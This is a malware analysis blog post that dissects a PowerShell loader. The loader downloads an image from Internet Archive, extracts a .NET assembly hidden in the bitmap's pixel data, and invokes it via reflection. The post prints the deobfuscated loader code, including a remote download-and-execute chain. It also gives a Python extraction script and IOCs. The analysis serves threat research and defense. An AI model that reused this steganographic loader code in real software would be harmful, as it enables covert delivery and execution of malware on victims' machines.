

After some code beautifying [using CyberChef](#) and variable renaming, we can see it loads an image hosted on “Internet Archive” into memory as a byte array.

```
1 Add-Type -AssemblyName System.Drawing;
2 $url = 'https://archive.org/download/universe-1733359315202-8750/universe-1733359315202-8750.jpg';
3 $http = New-Object System.Net.WebClient;
4 $http.Headers.Add('User-Agent', 'Mozilla/5.0');
5 $image = $http.DownloadData($url);
```

figure 5 - PowerShell code responsible for loading image into memory



figure 6 -

universe themed image hosted on Internet Archive

Once loaded into memory, the array is scanned for hard-coded bitmap magic bytes `42 4D`. Once found, the index position of the byte sequence start is stored in variable `$bitmap_begin`.

```
7 # bitmap start bytes
8 $bitmap_anchor = [byte[]](0x42, 0x4D, 0x72, 0x6E, 0x37, 0x00, 0x00)
9
10 # find bitmap start position
11 $bitmap_begin = -1;
12 for ($i = 0; $i -le $image.Length - $bitmap_anchor.Length; $i++) {
13     $found = $true;
14
15     for($j = 0; $j -lt $bitmap_anchor.Length; $j++) {
16         if ($image[$i + $j] -ne $bitmap_anchor[$j]) {
17             $found = $null;
18             break
19         }
20     }
21
22     if ($found) {
23         $bitmap_begin = $i; # store bitmap start position
24         break
25     }
26 }
27
28 if ($bitmap_begin -eq -1) {
29     return
30 };
```

figure 7 - code responsible for locating bitmap embedded in image

Starting at `$bitmap_begin`, the remaining image bytes are stored in a memory buffer, used to construct a [.NET Bitmap object](#). It then loops through each pixel and loads their RGB byte values into variable `$byte_list`.

```

32 $carved_image_bytes = $image[$bitmap_begin..($image.Length - 1)];
33
34 $MemoryStream = New-Object IO.MemoryStream;
35 $MemoryStream.Write($carved_image_bytes, 0, $carved_image_bytes.Length);
36 $MemoryStream.Seek(0, 'Begin') | Out-Null;
37 $bitmap = [Drawing.Bitmap]::FromStream($MemoryStream);
38 $byte_list = New-Object Collections.Generic.List[Byte];
39 for($i = 0; $i -lt $bitmap.Height; $i++) {
40     for($j = 0; $j -lt $bitmap.Width; $j++) {
41         $pixel = $bitmap.GetPixel($j, $i);
42         $byte_list.Add($pixel.R);
43         $byte_list.Add($pixel.G);
44         $byte_list.Add($pixel.B)
45     }
46 }
47 };

```

figure 8 - code responsible for image manipulation

From the newly created byte list, a .NET assembly is loaded where method `ClassLibrary1.Home::VAI()` is invoked.

```

49 # extract/decode .NET assembly, then invoke method VAI() inside ClassLibrary1.Home
50 $osteothea = [BitConverter]::ToInt32($byte_list.GetRange(0, 4).ToArray(), 0);
51 $Alicorns = $byte_list.GetRange(4, $osteothea).ToArray();
52 $encoded_assembly = [Convert]::ToBase64String($Alicorns).Replace('A', '@').Replace('@', 'A');
53 $squaller = '0hHduIzYzIDN4MDMxcTY4MjY2gDM2QGN3gDO1MzNiJDM1ETZf9mdpVXcyF2L^92Yuc2bsJ2b0NXZ29G
54 $dotnet_assembly = [Convert]::FromBase64String($encoded_assembly);
55 $loaded_assembly = [Reflection.Assembly]::Load($dotnet_assembly);
56 $array_param = @($squaller, '1', 'C:\Users\Public\Downloads', 'agnosticism', 'jsc', '', '', ''
57 $loaded_assembly.GetType("ClassLibrary1.Home").GetMethod("VAI").Invoke($null, $array_param);

```

figure 9 - extraction and execution of .NET assembly embedded within bitmap

Now having an understanding of its functionality, we can dump the assembly using a dynamic approach by replacing lines 55 and onwards with the following and executing the script.

```

1 [System.IO.File]::WriteAllBytes("assembly.mal", $dotnet_assembly);

```

Alternatively, we can leverage the [Pillow Python library](#)⁴ to work with the image data and extract the embedded PE. The referenced blog on looping through pixel data with Python⁵ was helpful during development.

```

1 import sys
2 import os
3 from PIL import Image
4
5 # take image as input
6 polyplot = sys.argv[1]
7
8 with open(polyplot, "rb") as f:
9     image_bytes = f.read()
10
11 # convert image to byte array
12 image_byte_array = bytearray(image_bytes)
13 size = len(image_byte_array)
14
15 # find bitmap start
16 bitmap_start = image_byte_array.find(b"\x42\x4D\x72\x6E\x37\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00\x00\x00\x64\x00\x00")
17
18 # extract bitmap based on start location
19 extracted_bitmap = image_byte_array[slice(bitmap_start, size)]
20
21 # temporarily write bitmap to disk
22 # (the Image module only handles file paths)
23 with open("bitmap.tmp", "wb") as f:
24     f.write(extracted_bitmap)
25
26 try:
27     img = Image.open("bitmap.tmp")

```

```
28     except FileNotFoundError:
29         print("Error: temporary bitmap file not found")
30
31     width, height = img.size # get dimensions
32     image = img.convert("RGB") # read image using RGB mode
33     byte_list = [] # define output byte list
34
35     # extract each pixel's RGB byte values
36     for y in range(height):
37         for x in range(width):
38             r, g, b = image.getpixel((x, y))
39             byte_list.append(r)
40             byte_list.append(g)
41             byte_list.append(b)
42
43     # bitmap cleanup
44     img.close()
45     image.close()
46     os.remove("bitmap.tmp")
47
48     # extract assembly
49     assembly_len = int.from_bytes(byte_list[4:], byteorder="little")
50     extracted_assembly = bytes(byte_list[4:assembly_len])
51
52     # write assembly to file
53     with open("extracted_assembly.mal", "wb") as f:
54         f.write(extracted_assembly)
```

Until next time! See you in [part two](#), where we will analyze the extracted .NET assembly. All hashes from the below IOC table will be available for download on [MalShare](#).

IOCs

Type	IOC
Stage 1 Downloader SHA-256	0fd706ebd884e6678f5d0c73c42d7ee05dcddd53963cf53542d5a8084ea82ad1
Stage 1 Downloader User-Agent	MyCustomAgent/1.0
Stage 2 URL	hxxp[://]deadpoolstart[.]lovestoblog[.]com/arquivo_fb2497d842454850a250bf600d899709[.]txt
Stage 2 Downloader SHA-256	ad25fffedad9a82f6c55c70c62c391025e74c743a8698c08d45f716b154f86da
Image SHA-256	89959ad7b1ac18bbd1e850f05ab0b5fce164596bce0f1f8aafb70ebd1bbcf900
Image URL	hxxps[://]Jarchive[.]org/download/universe-1733359315202-8750/universe-1733359315202-8750[.]jpg

References and Resources

1. <https://any.run/malware-trends/xworm/> [↪](#)
2. <https://developer.mozilla.org/en-US/docs/Glossary/IIFE> [↪](#)
3. https://en.wikipedia.org/wiki/List_of_file_signatures [↪](#)
4. <https://pillow.readthedocs.io/en/stable/> [↪](#)
5. <https://www.nemoquiz.com/python/loop-through-pixel-data/> [↪](#)